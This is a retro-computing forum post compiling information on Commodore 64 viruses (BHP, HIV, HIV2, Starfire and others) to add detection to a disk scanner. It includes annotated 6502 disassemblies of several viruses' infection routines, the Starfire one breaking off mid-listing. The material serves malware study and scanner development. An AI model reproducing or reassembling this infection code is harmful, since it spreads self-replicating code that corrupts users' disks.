

# Making a Virus Scanner - info needed

as some of you might know i made a little util to scan the disks i transfered for errors (D64scan v0.2, <http://noname.c64.org/csdb/release/?id=43862>).

i thought it would be a useful feature to add virus detection (and possibly elimination) to that tool aswell...

so the question is, who has detailed info on that subject? useful info would be - what virii do exist - how did said virii work - what are existing scanners/cleaners, and how do they work - how do those virii "initially" install

...etc.

at the very least, i'd need a bunch of "infected" disks (or well, d64s of them), but ofcourse any further info would make things a lot easier :)

the following is a work in progress list of info that i could locate so far.

if you have anything to share that isnt mentioned in this list yet, (especially virus programs, and scanners/killers) don't hesitate to send me a mail also if you feel like adding more comments to one of the disassemblies, feel free to do so, all help is welcomed!

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## Commodore C64 Virus List v0.2, last updated 09/06/2007 (w) groepaz/hitmen

### programs that qualify as "real" virus

#### BHP-Virus

```
Author: Dr.Dr.Strobe & Papa Hacker & Garfield
Size: 2030 bytes. (9 Blocks)
Type: Memory-resident parasitic prepender.
Infects: Commodore 64 Basic files.
Payload: Displays text under certain conditions:
```

```
DR.DR.STROBE&PAPA HACKER WAS HERE!
COPROGRAMMER: GARFIELD
HALLO DICKERCHEN, DIES IST EIN ECHTER
VIRUS!
SERIALNO.:2
```

Removal:

first virus for the C64 ever, often said to be `_the_` first virus in computer history ever (which is not true, there were others before for cp/m, the apple 2e etc).

```
9      "bhp virus.prg"      prg
```

The following description is a cleaned up and shortened summary of the symantec virus bulletin january 2005 (<http://pferrie.tripod.com/papers/bhp.pdf>)

(note: this is still messy and may contain errors)

As with all Commodore 64 programs, BHP began with some code written in Basic. This code consisted of a single line, a SYS call to the assembler code, where the rest of the virus resided. Unlike many programs, the virus code built the address to call dynamically. This may have been written by a very careful coder, but it proved to be unnecessary because the address did not change in later versions of the machine.

Once the assembler code gained control, it placed itself in the block of memory that was normally occupied by the I/O devices when the ROM was banked-in.

A side-effect of memory-banking was that it was a great way to hide a program, since the program was not visible if its memory was not banked in. This is the reason why BHP placed its code in banked memory. After copying itself to banked memory, the virus restored the host program to its original memory location and restored the program size to its original value. This allowed the host program to execute as though it were not infected. However, at this time the virus would verify the checksum of the virus's Basic code, and would overwrite the host memory if the checksum did not match. An interesting note about the checksum routine is that it missed the first three bytes of the code, which were the line number and SYS command. This made the job easier for the person who produced the later variant of the virus. Although the later variant differed only in the line number, this was sufficient to defeat the BHP-Killer program, because BHP-Killer checked the entire Basic code, including the line number.

The virus checked whether it was running already by reading a byte from a specific memory location. If that value matched the expected value, the virus assumed that another copy was running. Thus, writing that value to that memory location would have been an effective inoculation method. If no other copy of the virus was running, the virus would copy some code into a low address in non-banked memory, and hook several vectors, pointing them to the copied code.

The virus hooked the ILOAD, ISAVE, MAIN, NMI, CBINV and RESET vectors. The hooking of MAIN, NMI, CBINV and RESET made the virus Break-proof, Reset-proof, and Run/Stop-Restore-proof.

Once the hooks were in place, the virus ran the host code. The main virus code would be called on every request to load or save a file.

The ILOAD hook was reached when a disk needed to be searched. This happened whenever a directory listing was requested, and could happen when a search was made using a filename with wildcards, or the first time that a file was accessed. Otherwise, the drive hardware cached up to 2kb of data and returned it directly. The virus called the original ILOAD handler, then checked whether an infected program had been loaded. If an infected program had been loaded, the virus restored the host program to its original memory location and restored the program size to its original value. Otherwise, even if no file had been loaded, the virus called the infection routine.

The ISAVE hook was reached whenever a file was saved. The virus called the original ISAVE handler to

save the file, then called the infection routine. The infection routine began by checking that the requested device was a disk drive. If so, then the virus opened the first file in the cache. The first file in the cache would be the saved file if this code was reached via the ISAVE hook, otherwise it would be the first file in the directory listing. If the file was a Basic program, then the virus performed a quick infection check by reading the first byte of the program and comparing it against the SYS command.

If the SYS command was present, the virus verified the infection by reading and comparing up to 27 subsequent bytes. A file was considered infected if all 27 bytes matched. If the file was not infected, the virus switched to reading data from the hardware cache. The first check was for a standard disk layout: the directory had to exist on track 18, sector 0, and the file to infect had not to have resided on that track.

If these checks passed, the virus searched the track list for free sectors. It began with the track containing the file to infect, then moved outwards in alternating directions. This reduced the amount of seeking that the drive had to perform in order to read the file afterwards.

If at least eight free sectors existed on the same track, then the virus allocated eight sectors for itself and updated the sector bitmap for that track.

The virus wrote itself to disk in the following manner: the first sector of the host was copied to the last sector allocated by the virus, then that first sector was replaced by the first sector of the virus. After that, the remaining virus code was written to the remaining allocated sectors.

The directory stealth was present here, and it existed without any effort on the part of the virus writer(s). It was a side-effect of the virus not updating the block count in the directory sector. The block count was not used by DOS to load files, its purpose was informational only, since it was displayed by the directory listing.

After any call to ILOAD or ISAVE, the virus checked whether the payload should activate. The conditions for the payload activation were the following: that the machine was operating in ?direct? mode (the command-prompt), that the seconds field of the jiffy clock was a value from 2?4 seconds, and that the current scan line of the vertical retrace was at least 128. This made the activation fairly random. The payload was to display a particular text, one character at a time, while cycling the colours of the border. The serial number that was displayed was the number of times the payload check was called. It was incremented once after each call, and it was carried in replications. It reset to zero only after 65,536 calls.

## HIV-Virus

Author: Rogue/The Cult

probably the most known and widespread virus on the C64.

```
21    "hiv virus /cult"  prg (turbo copy infected with hiv)
3     "hiv-virus"      prg
```

The infection stored on the track 18.

It infects only the first 4 file on the disk. It stores the infections on the track 18 sector 0. In this sector the lower nibble of \$A7 byte (XXXX0001 means the first file is infected, XXXX0011 means the first and

second infected). After the 4th infection, infects the next (5th) file, and deletes the first file.

Software protection: Software protection is partially possible, just set the \$A7 byte to XXXX1111 on a disk. If the virus is in the memory, but not was started with RUN command, but we insert another disk with this byte set, the virus assumes, its code already in the directory. Just tries to look for files, delete one, but does not writes its code into the directory.

The virus is 2 block long only, and after an infection, it recovers the original program and starts.

It is possible to copy an infected file with a file copy, so its not impossible to have a file which is infected more than one.

One of the virus scanners scans for this copied behaviour, and displays as file infection type (-F- )not as directory infection type (-D-), and of course we can have a file, which have also a directory type infection, and also as copied file another infection too. (This kind of multiple infection was named as -A- infection type in that scanner.)

Excellent programing work from the author of this virus.

## HIV2-Virus

Author: Crossbow/Crest

this is an "optimized" version of the HIV Virus. according to crossbow he never released it into "the wild", however according to others it is "out there".

```
HIV-EXPERT V2.0.prg (hiv expert 1.0 infected with HIV2)
```

crossbow comments on this one:

"here is my virus, it's contained in the scanner for HIV 1. it scans the disk for HIV1 (and removes it when it is found) but infects with HIV2. the virus does not use track 18 for itself (like HIV1), but track 19. that way the HIV1 scanner can not find it - but it will likely destroy other programs."

## BU\A Virus

aka: BULA Virus

Author: ?

```
4      "bu\a 6.13 /virus"  prg
4      "bu\a 8.32 /virus"  prg
```

(note: the \ in the filename is supposed to be the pound sign)

## MD-Virus

aka: Magic Disk Virus

Author: ?

8	"md! -virus"	prg
29	"mdv-source"	prg
44	"mdv-source.asc"	seq

## Starfire-Virus

Author: ?

2	"starfire virus"	prg
---	------------------	-----

description by Quetzal:

That virus worked by scanning the directory for uninfected programs, grabbing the track + sector link to said prg and replacing it with a T+S link to a copy of the virus (which allocated each copy of itself 2 sectors on the disk more or less at random, thus REALLY screwing up files at times), the original T+S link was placed in the 2nd sector of the virus, so the original prg was then appended after it. Next time that prg was run, after the virus finished its work, a simple memory move to \$0801 and a RUN, started the main prg. Can't recall exactly, but I think it also patched various vectors such as LOAD, RUNSTOP/RESTORE etc, giving more chances to be activated, this seems to be a common idea in C64 virus.

## FROG-Virus

Author: Kobold/Frogs

this one is kinda nasty, it installs the infection routine in a fastcruel program, and thus is a lot harder to scan for than for other virii (the infected program must be unpacked to check for the infection routine)

38	"fastcruel4.0+frg"	prg
----	--------------------	-----

## Coder-Virus

Author: ?

(currently only found a scanner/remover for this one, not the actual virus. there is a small chance that its a fake. need to analyze the scanner, however it is a basic-boss compiled program which is almost impossible to read without a lot of effort, so that has to wait - finding the virus itself would save a LOT of work!)

## virus-scanners and -killers

## BHP-Virus

```
11      "tdf virus killer"  prg  "BHP Virus Killer" by T.D.F.
```

## HIV-Virus

```
4      "hiv scanner /cult"  prg  "hiv virus scanner" by Cliff/The Cult/WOW
42     "hiv warning/cult"   prg  usage/warning note
24     "hiv-expert v1.00"   prg  "hiv-expert v1.00" by Rico/Nipson
5      "hiv-virus-ki.prg"   prg  "Virus Killer 1.0" by Jer/Panic Design
```

```
1      "hiv-virus-scann."   prg  "HIV Virus File Scan v1"
9      "poopoopoopoopoop"   prg
```

```
5      "hiv-virus-killer"   prg  "Virus Killer 1.0" by Jer/Panic Design
```

```
HIV-Finder      "HIV Finder v2.2" by Gringo
```

## Starfire-Virus

```
6      "star killer v1.0"   prg  "star killer v1.0" by Quetzal/Chrome (Daniel
Martin)
```

## MD-Virus

```
11     "protector"          prg  "Magic Disk Virus Protector V2.0"
```

## Coder-Virus

```
29     "coder-virus kill"   prg  "Coder Virus Killer v0.9" by Pumpkin/Lower
Level
43     "noter to coder v"   prg  usage/warning note
```

## others/generic (?)

```
Virus Killer      "Virus Killer" by Raven Softworks
```

```
Virus Killer v1.1  "Virus Killer v1.1" by The Atomic Two Industries
```

```
6      "virus kill. v2.4"   prg  "Virus Killer v2.4" by Exen/Fatum
```

## Offtopic: pranks and fakes and other generally harmless programs

the following programs are listed to avoid confusion with "real" virii. they are all 100% harmless (promised).

### Antivirus V4.0

Quetzal comments on this one: "This is a well designed fake. The code for "checking" for a virus consists of randomly choosing from the list of available viruses - most of which I doubt ever existed."

```
29      "antivirus v4.0"      prg      "Antivirus V4.0" by JTX
```

### WAG-Virus

Author: Matthias Weber, released by CSD and Magic Disk

not a real virus (it does not infect other programs/disks). this is a prank program released on magic disk.

```
50      "wag-virus"          prg
10      "sample 0a"         prg
32      "sample 0b"         prg
17      "sample 0c"         prg
41      "sample 0d"         prg
28      "sample 0e"         prg
11      "sample 0f"         prg
6       "sample 0g"         prg
31      "sample 0h"         prg
41      "sample 0i"         prg
48      "sample 0j"         prg

2       "wag virus-killer"  prg
```

### Kaufhaus-Demo

aka: Karstadt Demo

Author: ?

not a real virus (it does not infect other programs/disks). this is a prank program released by an unknown author

## Analysis: HIV

```

07FD .byte $xx,$xx,$xx           ;simple filler bytes to easier understand
the sending to the drive

0800 .byte $00,$0b,$08,$c8,$07,$9e,$32,$30,$35,$39,$00 ; basic stub

start
.C:080b  2C 00 DD   BIT $DD00   ;checks that code already runnin' in the
drive(?)
.C:080e  10 49     BPL $0859   ;if yes, then skip the memory upload, go to
the restore of the original

;this block sends the virus code into the drive buffer 0400 and 0500 (2
pages)
;there is two byte alignment because the first two bytes of a block is load
address

.C:0810  A9 0F     LDA #$0F   ;.A=$ff=#$0f
.C:0812  85 FF     STA $FF   ; 15 x 20 byte need to sent to the drive
.C:0814  A0 00     LDY #$00   ;low byte of block set to #$0 and store to
the M-W command

.C:0816  8C A0 08  STY $08A0   ;storing address to the M-W command
.C:0819  20 A4 08  JSR $08A4   ;open drive

.C:081c  A2 05     LDX #$05   ;send "M-W" address: $0400 length: 20
command to the 1541
.C:081e  BD 9E 08  LDA $089E,X
.C:0821  20 DD ED  JSR $EDDD
.C:0824  CA       DEX
.C:0825  10 F7     BPL $081E

.C:0827  A2 20     LDX #$20   ;send the virus code to the drive in $20
length blocks
.C:0829  B9 FD 07  LDA $07FD,Y ;from $07FD to          (((($09DD(?)
($01E0) (?))))
.C:082c  20 DD ED  JSR $EDDD   ;send a byte to drive
.C:082f  C8       INY
.C:0830  D0 0D     BNE $083F   ;when crossing the buffer border,
.C:0832  EE 2B 08  INC $082B   ;increment the source address and
.C:0835  EE 9F 08  INC $089F   ;increment the buffer address and
.C:0838  C8       INY           ;increment the .Y (first two byte is load
address)
.C:0839  C8       INY
.C:083a  A9 FB     LDA #$FB
.C:083c  8D 2A 08  STA $082A

.C:083f  CA       DEX
.C:0840  D0 E7     BNE $0829

```



```
.C:0842  20 AE FF  JSR $FFAE      ;send unlisten, when 20 byte was sent
.C:0845  C6 FF      DEC $FF
.C:0847  D0 CD      BNE $0816
.C:0849  20 A4 08  JSR $08A4

;start the code in the drive

.C:084c  A9 55      LDA #$55      ;send U4 code to drive then close the
channel
.C:084e  20 DD ED  JSR $EDDD      ;this starts the drive code at bank 4
(starts on $0503)
.C:0851  A9 34      LDA #$34
.C:0853  20 DD ED  JSR $EDDD
.C:0856  20 AE FF  JSR $FFAE

;preparation for the restore of the original program
;this block copies the restore routine (54 bytes with pointers) to the $0100

.C:0859  A0 36      LDY #$36      ;this block copies the following block to
$FC-
.C:085b  B9 67 08  LDA $0867,Y   ;zero page pointers at $FC code at $0100
.C:085e  99 FC 00  STA $00FC,Y
.C:0861  88      DEY
.C:0862  10 F7      BPL $085B
.C:0864  4C 00 01  JMP $0100

;zero page pointers for the the copy of original data (
;(this will be copied to $FC and used from the code copied to $0100)

;$FC-FF commodore 64 memory

.C:0867  04 07      ;$FC-$FD      ;these will be the zero page pointers
after copy
.C:0869  00 09      ;$FE-$FF

;restore the original program to run
;(this will be copied to $0100 and runs there)

;$0100 commodore 64 memory
.C:086b  A9 36      LDA #$36
.C:086d  85 01      STA $01
.C:086f  A6 AF      LDX $AF
.C:0871  A0 FD      LDY #$FD      ;this block moves the original program in
the memory to
.C:0873  B1 FE      LDA ($FE),Y   ;correct place ($0801 = $0704+$fd) then
runs it
.C:0875  91 FC      STA ($FC),Y
.C:0877  C8      INY
.C:0878  D0 04      BNE $087E
.C:087a  E6 FD      INC $FD
.C:087c  E6 FF      INC $FF
```

```
.C:087e C4 AE CPY $AE
.C:0880 D0 F1 BNE $0873
.C:0882 E4 FF CPX $FF
.C:0884 D0 ED BNE $0873
.C:0886 98 TYA
.C:0887 38 SEC
.C:0888 E9 FC SBC #$FC
.C:088a 85 AE STA $AE
.C:088c 85 2D STA $2D
.C:088e A5 FF LDA $FF
.C:0890 E9 01 SBC #$01
.C:0892 85 AF STA $AF
.C:0894 85 2E STA $2E
.C:0896 E6 01 INC $01
.C:0898 20 59 A6 JSR $A659
.C:089b 4C AE A7 JMP $A7AE ;restore of the original finished, runs
the original program

;memory write command in backwards order

.C:089e 20 04 A0 ; dest. address: $0400 length: $20 ($a0 was overwriten
by the virus with #$00 at the start)
.C:08a1 57 2D 4D ;"W-M"

;drive handling subroutine
;this is used to open prepare drive

.C:08a4 A9 08 LDA #$08 ;open drive 8 (possible bug, it can't infect
other drive :) )
.C:08a6 20 0C ED JSR $ED0C

.C:08a9 A9 6F LDA #$6F ;secondary address set
.C:08ab 4C B9 ED JMP $EDB9 ;and implicit return to the call

;-----
;this code run in the drive after to $0400- copied

;1541 memory $04b4
.C:08ae A9 90 LDA #$90 ; write sector jobcode

;1541 memory $04b6

.C:08b0 2C A9 80 BIT $80A9
.C:08b3 A2 03 LDX #$03 ;write out buffer 3 and wait until finishes
.C:08b5 95 00 STA $00,X ;to store to bank 3 ($0600-06FF)
.C:08b7 B5 00 LDA $00,X
.C:08b9 30 FC BMI $08B7 ;wait until bit 7 is set (job is finished)
.C:08bb C9 01 CMP #$01
.C:08bd F0 02 BEQ $08C1 ;if error is ok then return
.C:08bf 68 PLA ;else remove two byte from stack then
return
```

```

.C:08c0  68          PLA
.C:08c1  60          RTS

.C:08c2  A0 02      LDY #$02
.C:08c4  A9 00      LDA #$00
.C:08c6  91 C0      STA ($C0),Y
.C:08c8  A0 04      LDY #$04
.C:08ca  B1 C0      LDA ($C0),Y
.C:08cc  A2 03      LDX #$03
.C:08ce  DD C6 05   CMP $05C6,X
.C:08d1  F0 05      BEQ $08D8
.C:08d3  CA          DEX
.C:08d4  10 F8      BPL $08CE
.C:08d6  30 09      BMI $08E1
.C:08d8  BD F6 04   LDA $04F6,X
.C:08db  49 FF      EOR #$FF
.C:08dd  25 C3      AND $C3
.C:08df  85 C3      STA $C3
.C:08e1  4C 4F 05   JMP $054F

.C:08e4  A9 00      LDA #$00
.C:08e6  85 0D      STA $0D      ;set buffer 3 sector to 0
.C:08e8  20 B4 04   JSR $04B4
.C:08eb  A5 C3      LDA $C3
.C:08ed  8D A7 06   STA $06A7
.C:08f0  4C B1 04   JMP $04B1
.C:08f3  08          PHP
.C:08f4  04 02      NOOP $02
.C:08f6  01 0F      ORA ($0F,X)
.C:08f8  4C C5 04   JMP $04C5

; 1541 memory $0500
.C:08fb  00          BRK
.C:08fc  00          BRK
.C:08fd  00          BRK

; 1541 memory $0503 (it was started with U4)

.C:08fe  A0 02      LDY #$02
.C:0900  8C 00 18   STY $1800    ;set clock in high (semafor for the
computer, "i am running here! :) " )

.C:0903  A9 08      LDA #$08      ;$08
.C:0905  8D 03 04   STA $0403    ;store #$0801 as load address to the $0400
(buffer 1)
.C:0908  88          DEY
.C:0909  84 C2      STY $C2      ;$c2 = 01
.C:090b  8C 02 04   STY $0402    ;$01 (y=1)
.C:090e  88          DEY          ;y=0
.C:090f  84 0D      STY $0D      ;Buffer 3 track set to 0
.C:0911  84 C0      STY $C0      ;$C0 = 00

```

```
.C:0913  A9 12      LDA #$12      ;set buffer 1-3 to track 18 ($12)
($0400-06ff to track 18)
.C:0915  8D 00 04     STA $0400     ;set track data in the buffer #1 too
.C:0918  85 08      STA $08
.C:091a  85 0A      STA $0A
.C:091c  85 0C      STA $0C

.C:091e  A9 06      LDA #$06
.C:0920  85 C1      STA $C1      ;$c1 = 06

.C:0922  A9 04      LDA #$04
.C:0924  2C 00 18    BIT $1800     ;wait until clock out is high
.C:0927  10 FB      BPL $0924
.C:0929  D0 F9      BNE $0924

.C:092b  20 18 C1    JSR $C118     ;turn on drive led
.C:092e  A9 B0      LDA #$B0
.C:0930  20 B6 04    JSR $04B6     ;
.C:0933  20 B4 04    JSR $04B4
.C:0936  AD A7 06    LDA $06A7
.C:0939  85 C3      STA $C3
.C:093b  E6 0D      INC $0D
.C:093d  20 B4 04    JSR $04B4
.C:0940  A0 02      LDY #$02
.C:0942  B1 C0      LDA ($C0),Y
.C:0944  29 8F      AND #$8F
.C:0946  C9 82      CMP #$82
.C:0948  F0 15      BEQ $095F

;1541 memory $054f

.C:094a  A5 C0      LDA $C0
.C:094c  18        CLC
.C:094d  69 20      ADC #$20
.C:094f  85 C0      STA $C0
.C:0951  90 ED      BCC $0940
.C:0953  20 B1 04    JSR $04B1
.C:0956  AD 01 06    LDA $0601
.C:0959  85 0D      STA $0D
.C:095b  10 E0      BPL $093D
.C:095d  F0 83      BEQ $08E2
.C:095f  C8        INY
.C:0960  B1 C0      LDA ($C0),Y
.C:0962  8D 00 05    STA $0500
.C:0965  C9 12      CMP #$12
.C:0967  D0 0D      BNE $0976
.C:0969  A0 18      LDY #$18
.C:096b  B1 C0      LDA ($C0),Y
.C:096d  F0 87      BEQ $08F6
.C:096f  38        SEC
.C:0970  E9 01      SBC #$01
```

```
.C:0972 91 C0 STA ($C0),Y
.C:0974 B0 D4 BCS $094A
.C:0976 C8 INY
.C:0977 B1 C0 LDA ($C0),Y
.C:0979 8D 01 05 STA $0501
.C:097c A2 03 LDX #$03
.C:097e A5 C3 LDA $C3
.C:0980 3D F6 04 AND $04F6,X
.C:0983 F0 05 BEQ $098A
.C:0985 CA DEX
.C:0986 10 F6 BPL $097E
.C:0988 30 C0 BMI $094A
.C:098a A5 C3 LDA $C3
.C:098c 1D F6 04 ORA $04F6,X
.C:098f 85 C3 STA $C3
.C:0991 BD C6 05 LDA $05C6,X
.C:0994 91 C0 STA ($C0),Y
.C:0996 85 09 STA $09
.C:0998 88 DEY
.C:0999 A9 12 LDA #$12
.C:099b 91 C0 STA ($C0),Y
.C:099d BD CA 05 LDA $05CA,X
.C:09a0 8D 01 04 STA $0401
.C:09a3 85 0B STA $0B
.C:09a5 A0 18 LDY #$18
.C:09a7 A9 04 LDA #$04
.C:09a9 91 C0 STA ($C0),Y
.C:09ab A2 01 LDX #$01
.C:09ad A9 90 LDA #$90
.C:09af 20 B8 04 JSR $04B8
.C:09b2 E8 INX
.C:09b3 A9 90 LDA #$90
.C:09b5 20 B8 04 JSR $04B8
.C:09b8 C6 C2 DEC $C2
.C:09ba D0 8E BNE $094A
.C:09bc 20 B1 04 JSR $04B1
.C:09bf F0 9C BEQ $095D

.C:09c1 11 06 ORA ($06),Y
.C:09c3 0C 12 0E NOOP $0E12
.C:09c6 03 09 SLO ($09,X)
.C:09c8 0F 1D 1E SLO $1E1D
.C:09cb 1D 18 15 ORA $1518,X
.C:09ce 13 12 SLO ($12),Y
.C:09d0 00 BRK
.C:09d1 00 BRK
.C:09d2 00 BRK
.C:09d3 00 BRK
.C:09d4 00 BRK
.C:09d5 00 BRK
.C:09d6 00 BRK
```

```
.C:09d7  00          BRK
.C:09d8  00          BRK
.C:09d9  00          BRK
.C:09da  00          BRK
.C:09db  00          BRK
.C:09dc  00          BRK
.C:09dd  1E 19 0E    ASL $0E19,X
.C:09e0  19 0A 09    ORA $090A,Y
.C:09e3  0A          ASL A
.C:09e4  15 0E       ORA $0E,X
.C:09e6  0F 0A 0F    SLO $0F0A
.C:09e9  0D 0A 15    ORA $150A
.C:09ec  19 13 16    ORA $1613,Y
.C:09ef  0F 0A 0A    SLO $0A0A
.C:09f2  13 0E       SLO ($0E),Y
.C:09f4  1A          NOOP
.C:09f5  0A          ASL A
.C:09f6  1A          NOOP
.C:09f7  09 0A       ORA #$0A
.C:09f9  0E 1A 2C    ASL $2C1A
.C:09fc  0B
```

(infected program follows)

## Analysis: HIV2

```
; basic stub
0801    .byte $0c,$08,$c9,$07,$9e,$ff,$ac,$36,$35,$36,$00

; send drivecode
; move copyloop to stack
; start drivecode
; start copyloop

start:
.C:080c  A0 00       LDY #$00

.C:080e  8C 7F 08    STY $087F
.C:0811  20 3B 08    JSR $083B      ; M-W $0500
.C:0814  AA          TAX

.C:0815  B9 FD 07    LDA $07FD,Y
.C:0818  20 DD ED    JSR $EDDD
.C:081b  C8          INY
.C:081c  CA          DEX
.C:081d  D0 F6       BNE $0815

.C:081f  AA          TAX
.C:0820  20 AE FF    JSR $FFAE
```

```
.C:0823  98      TYA
.C:0824  D0 E8     BNE $080E

.C:0826  8E 80 08   STX $0880      ; change the M-W to M-E $0500

.C:0829  BD 51 08   LDA $0851,X
.C:082c  9D 00 01   STA $0100,X
.C:082f  CA        DEX
.C:0830  10 F7     BPL $0829

.C:0832  20 3B 08   JSR $083B      ; M-E
.C:0835  20 AE FF   JSR $FFAE
.C:0838  4C 00 01   JMP $0100

; send M-W
.C:083b  A9 08     LDA #$08
.C:083d  20 0C ED   JSR $ED0C
.C:0840  A9 6F     LDA #$6F
.C:0842  20 B9 ED   JSR $EDB9
.C:0845  A2 05     LDX #$05

.C:0847  BD 7D 08   LDA $087D,X
.C:084a  20 DD ED   JSR $EDDD
.C:084d  CA        DEX
.C:084e  10 F7     BPL $0847
.C:0850  60      RTS

; originally at $0851
; transfered to $0100

; copies original program back to
; where it belongs and runs it

.C:0851  78      SEI
.C:0852  E6 01     INC $01
.C:0854  BD 00 08   LDA $0800,X
.C:0857  9D 02 07   STA $0702,X
.C:085a  E8        INX
.C:085b  D0 F7     BNE $0854

.C:085d  EE 08 01   INC $0108
.C:0860  EE 05 01   INC $0105
.C:0863  D0 EF     BNE $0854

.C:0865  A5 2D     LDA $2D
.C:0867  38        SEC
.C:0868  E9 FE     SBC #$FE
.C:086a  85 2D     STA $2D
.C:086c  85 AE     STA $AE
.C:086e  B0 04     BCS $0874
.C:0870  C6 2E     DEC $2E
```

```
.C:0872    C6 AF      DEC $AF
.C:0874    C6 01      DEC $01
.C:0876    58         CLI
.C:0877    20 59 A6   JSR $A659
.C:087a    4C AE A7   JMP $A7AE

087d      .byte $20,$05,$e0,"W","-","M"

; drivecode
.C:0883    85 14      STA $14
.C:0885    85 07      STA $07
.C:0887    A9 B0      LDA #$B0
.C:0889    20 D9 05   JSR $05D9
.C:088c    A9 80      LDA #$80
.C:088e    20 D9 05   JSR $05D9
.C:0891    A0 01      LDY #$01
.C:0893    B1 14      LDA ($14),Y
.C:0895    29 8F      AND #$8F
.C:0897    C9 82      CMP #$82
.C:0899    F0 0F      BEQ $08AA
.C:089b    A5 14      LDA $14
.C:089d    18         CLC
.C:089e    69 20      ADC #$20
.C:08a0    85 14      STA $14
.C:08a2    90 ED      BCC $0891
.C:08a4    AD 01 03   LDA $0301
.C:08a7    10 DC      BPL $0885
.C:08a9    60         RTS

.C:08aa    C8         INY
.C:08ab    B1 14      LDA ($14),Y
.C:08ad    C9 13      CMP #$13
.C:08af    F0 EA      BEQ $089B
.C:08b1    8D 00 05   STA $0500
.C:08b4    A9 13      LDA #$13
.C:08b6    91 14      STA ($14),Y
.C:08b8    85 0A      STA $0A
.C:08ba    C8         INY
.C:08bb    B1 14      LDA ($14),Y
.C:08bd    8D 01 05   STA $0501
.C:08c0    A9 11      LDA #$11
.C:08c2    91 14      STA ($14),Y
.C:08c4    85 0B      STA $0B
.C:08c6    A8         TAY
.C:08c7    88         DEY
.C:08c8    10 02      BPL $08CC
.C:08ca    A0 12      LDY #$12
.C:08cc    8C C4 05   STY $05C4
.C:08cf    20 D7 05   JSR $05D7
.C:08d2    A2 05      LDX #$05
.C:08d4    A9 90      LDA #$90
```



```
.C:08d6 95 FD STA $FD,X
.C:08d8 B5 FD LDA $FD,X
.C:08da 30 FC BMI $08D8
.C:08dc 60 RTS

.C:08dd A2 03 LDX #$03
.C:08df 86 15 STX $15
.C:08e1 8E 00 18 STX $1800
.C:08e4 A9 12 LDA #$12
.C:08e6 85 06 STA $06
.C:08e8 A9 08 LDA #$08
.C:08ea 8D 03 05 STA $0503
.C:08ed 2C 00 18 BIT $1800
.C:08f0 10 FB BPL $08ED
.C:08f2 20 18 C1 JSR $C118
.C:08f5 A9 01 LDA #$01
.C:08f7 8D 02 05 STA $0502
.C:08fa D0 87 BNE $0883

.C:08fc 45 01 EOR $01
```

(infected program follows)

## Analysis: Starfire

```
; basic stub
0800 .byte $00,$0b,$08,$c8,$07,$9e,$32,$30,$36,$31,$00,$00,$00

start
.C:080d A9 0F LDA #$0F
.C:080f A8 TAY
.C:0810 A2 08 LDX #$08
.C:0812 20 00 FE JSR $FE00
.C:0815 25 A2 AND $A2
.C:0817 85 05 STA $05
.C:0819 E6 05 INC $05
.C:081b 20 4A F3 JSR $F34A
.C:081e BD FB 08 LDA $08FB,X
.C:0821 9D 00 CE STA $CE00,X
.C:0824 E8 INX
.C:0825 D0 F7 BNE $081E

.C:0827 A9 12 LDA #$12
.C:0829 85 FE STA $FE
.C:082b A9 01 LDA #$01
.C:082d 85 FD STA $FD
.C:082f A0 E3 LDY #$E3
.C:0831 20 F9 FD JSR $FDF9
.C:0834 A7 2C LAX $2C
```

```
.C:0836  A8          TAY
.C:0837  20 00 FE    JSR $FE00
.C:083a  20 4A F3    JSR $F34A
.C:083d  20 15 09    JSR $0915
.C:0840  AE 15 CF    LDX $CF15
.C:0843  86 03      STX $03
.C:0845  E0 08      CPX #$08
.C:0847  30 03      BMI $084C
.C:0849  4C 66 09   JMP $0966

.C:084c  EE 15 CF    INC $CF15
.C:084f  A9 E3      LDA #$E3
.C:0851  18         CLC
.C:0852  69 20      ADC #$20
.C:0854  CA        DEX
.C:0855  10 FA      BPL $0851

.C:0857  AA        TAX
.C:0858  BD 00 CF    LDA $CF00,X
.C:085b  8D 00 CE    STA $CE00
.C:085e  A5 05      LDA $05
.C:0860  9D 00 CF    STA $CF00,X
.C:0863  E8        INX
.C:0864  BD 00 CF    LDA $CF00,X
.C:0867  8D 01 CE    STA $CE01
.C:086a  A5 03      LDA $03
.C:086c  0A        ASL A
.C:086d  9D 00 CF    STA $CF00,X
.C:0870  20 F5 08   JSR $08F5
.C:0873  A5 05      LDA $05
.C:0875  85 FE      STA $FE
.C:0877  A5 03      LDA $03
.C:0879  0A        ASL A
.C:087a  A8        TAY
.C:087b  C8        INY
.C:087c  84 04      STY $04
.C:087e  20 AA 08   JSR $08AA
.C:0881  BD 01 08   LDA $0801,X
.C:0884  9D 04 CE    STA $CE04,X
.C:0887  E8        INX
.C:0888  D0 F7      BNE $0881

.C:088a  A4 04      LDY $04
.C:088c  8C 01 CE    STY $CE01
.C:088f  88        DEY
.C:0890  20 55 09   JSR $0955
.C:0893  A9 0F      LDA #$0F
.C:0895  20 91 F2   JSR $F291
.C:0898  20 2F F3   JSR $F32F
.C:089b  78        SEI
.C:089c  A2 20      LDX #$20
```

```
.C:089e  BD D8 08  LDA $08D8,X
.C:08a1  9D 3F 03  STA $033F,X
.C:08a4  CA          DEX
.C:08a5  D0 F7      BNE $089E
.C:08a7  4C 40 03  JMP $0340

.C:08aa  84 FD      STY $FD
.C:08ac  A2 00      LDX #$00
.C:08ae  BD 00 CE  LDA $CE00,X
.C:08b1  9D 00 CF  STA $CF00,X
.C:08b4  E8          INX
.C:08b5  D0 F7      BNE $08AE
.C:08b7  4C F5 08  JMP $08F5
.C:08ba  A2 0F      LDX #$0F
.C:08bc  20 50 F2  JSR $F250
.C:08bf  A0 08      LDY #$08
.C:08c1  A9 C9      LDA #$C9
.C:08c3  20 1E AB  JSR $AB1E
.C:08c6  4C 33 F3  JMP $F333
```

```
08c9 .byte "B","-","P",":","8"," ","","0",,$00
```

```
08d1 .byte "U","1",":","8"," ","","0",",",,$00
```

```
; copied to $0340
```

```
.C:08d9  E6 01      INC $01
.C:08db  BD FD 09  LDA $09FD,X
.C:08de  9D 01 08  STA $0801,X
.C:08e1  E8          INX
.C:08e2  D0 F7      BNE $08DB
.C:08e4  EE 47 03  INC $0347
.C:08e7  EE 44 03  INC $0344
.C:08ea  D0 EF      BNE $08DB
.C:08ec  C6 01      DEC $01
.C:08ee  58          CLI
.C:08ef  20 59 A6  JSR $A659
.C:08f2  4C AE A7  JMP $A7AE

.C:08f5  20 BA 08  JSR $08BA
.C:08f8  A9 32      LDA #$32
.C:08fa  8D D2 08  STA $08D2
.C:08fd  A2 08      LDX #$08
.C:08ff  20 50 F2  JSR $F250
.C:0902  A0 00      LDY #$00
.C:0904  B9 00 CF  LDA $CF00,Y
